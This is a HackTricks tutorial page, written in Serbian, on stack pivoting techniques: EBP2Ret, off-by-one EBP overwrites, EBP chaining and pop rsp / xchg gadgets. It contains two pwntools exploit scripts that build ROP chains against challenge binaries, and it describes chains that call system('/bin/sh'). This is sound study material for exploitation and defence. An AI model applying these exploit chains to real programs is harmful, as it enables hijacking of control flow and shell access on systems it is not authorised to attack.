hacktricks/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

9.3 KiB

Stack Pivoting - EBP2Ret - EBP chaining

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Ova tehnika iskorišćava mogućnost manipulacije Base Pointer-a (EBP) kako bi se lanciralo izvršavanje više funkcija kroz pažljivu upotrebu EBP registra i sekvence instrukcija leave; ret.

Kao podsetnik, leave u osnovi znači:

mov       ebp, esp
pop       ebp
ret

I pošto je EBP u stack-u pre EIP-a, moguće je kontrolisati ga kontrolišući stack.

EBP2Ret

Ova tehnika je posebno korisna kada možete izmeniti EBP registar ali nemate direktni način da promenite EIP registar. Iskorišćava ponašanje funkcija kada završe izvršavanje.

Ako tokom izvršavanja fvuln uspete da ubacite lažni EBP u stack koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shell koda (plus 4 bajta za pop operaciju), možete indirektno kontrolisati EIP. Kada se fvuln završi, ESP je postavljen na ovu izrađenu lokaciju, a sledeća pop operacija smanjuje ESP za 4 bajta, efektivno ga usmeravajući ka adresi koju je napadač tamo sačuvao.
Primetite kako morate znati 2 adrese: Onu gde će ići ESP, gde ćete morati upisati adresu na koju pokazuje ESP.

Konstrukcija napada

Prvo morate znati adresu gde možete pisati proizvoljne podatke / adrese. ESP će pokazivati ovde i izvršiti prvi ret.

Zatim, morate znati adresu koju koristi ret koja će izvršiti proizvoljni kod. Možete koristiti:

  • Validnu ONE_GADGET adresu.
  • Adresu system() praćenu sa 4 nepotrebna bajta i adresom "/bin/sh" (x86 bitovi).
  • Adresu jump esp; gedžeta (ret2esp) praćenu sa shell kodom za izvršavanje.
  • Nešto ROP lanac

Zapamtite da pre bilo koje od ovih adresa u kontrolisanom delu memorije, moraju biti 4 bajta zbog pop dela leave instrukcije. Moguće je zloupotrebiti ove 4B da se postavi drugi lažni EBP i nastavi kontrolisanje izvršavanja.

Off-By-One napad

Postoji specifična varijanta ove tehnike poznata kao "Off-By-One napad". Koristi se kada možete samo izmeniti najmanje značajan bajt EBP-a. U tom slučaju, lokacija memorije koja čuva adresu na koju treba skočiti sa ret mora deliti prva tri bajta sa EBP-om, omogućavajući sličnu manipulaciju sa strožijim uslovima.
Obično se modifikuje bajt 0x00 da bi se skočilo što dalje.

Takođe, uobičajeno je koristiti RET klizaljku u stack-u i staviti pravi ROP lanac na kraju kako bi bilo verovatnije da novi ESP pokazuje unutar RET KLIZALJKE i da se izvrši konačni ROP lanac.

EBP Povezivanje

Stavljanjem kontrolisane adrese u EBP unos stack-a i adrese za leave; ret u EIP, moguće je pomeriti ESP na kontrolisanu EBP adresu iz stack-a.

Sada je ESP kontrolisan pokazujući ka željenoj adresi i sledeća instrukcija za izvršavanje je RET. Da bi se iskoristilo ovo, moguće je staviti na kontrolisano mesto ESP-a ovo:

  • &(sledeći lažni EBP) -> Učitaj novi EBP zbog pop ebp iz leave instrukcije
  • system() -> Pozvan od strane ret
  • &(leave;ret) -> Pozvan nakon što system završi, pomeriće ESP na lažni EBP i početi ponovo
  • &("/bin/sh")-> Parametar za system

Na ovaj način je moguće povezati nekoliko lažnih EBPa da se kontroliše tok programa.

Ovo je kao ret2lib, ali složenije bez očigledne koristi ali može biti interesantno u nekim specifičnim slučajevima.

Osim toga, ovde imate primer izazova koji koristi ovu tehniku sa procurivanjem stack-a da pozove pobedničku funkciju. Ovo je konačni payload sa stranice:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP možda neće biti korišćen

Kao što je objašnjeno u ovom postu, ako je binarni fajl kompajliran sa određenim optimizacijama, EBP nikada ne kontroliše ESP, stoga, bilo koji eksploit koji radi kontrolišući EBP će zapravo neuspeti jer nema stvarnog efekta.
To je zato što se prolog i epilog menjaju ako je binarni fajl optimizovan.

  • Nije optimizovan:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Optimizovano:
push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

Druge metode kontrole RSP

pop rsp gedžet

Na ovoj stranici možete pronaći primer korišćenja ove tehnike. Za ovaj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, i postojao je pop rsp gedžet i postoji leak sa steka:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp gedžet

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Proverite tehniku ret2esp ovde:

{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}

Reference & Drugi Primeri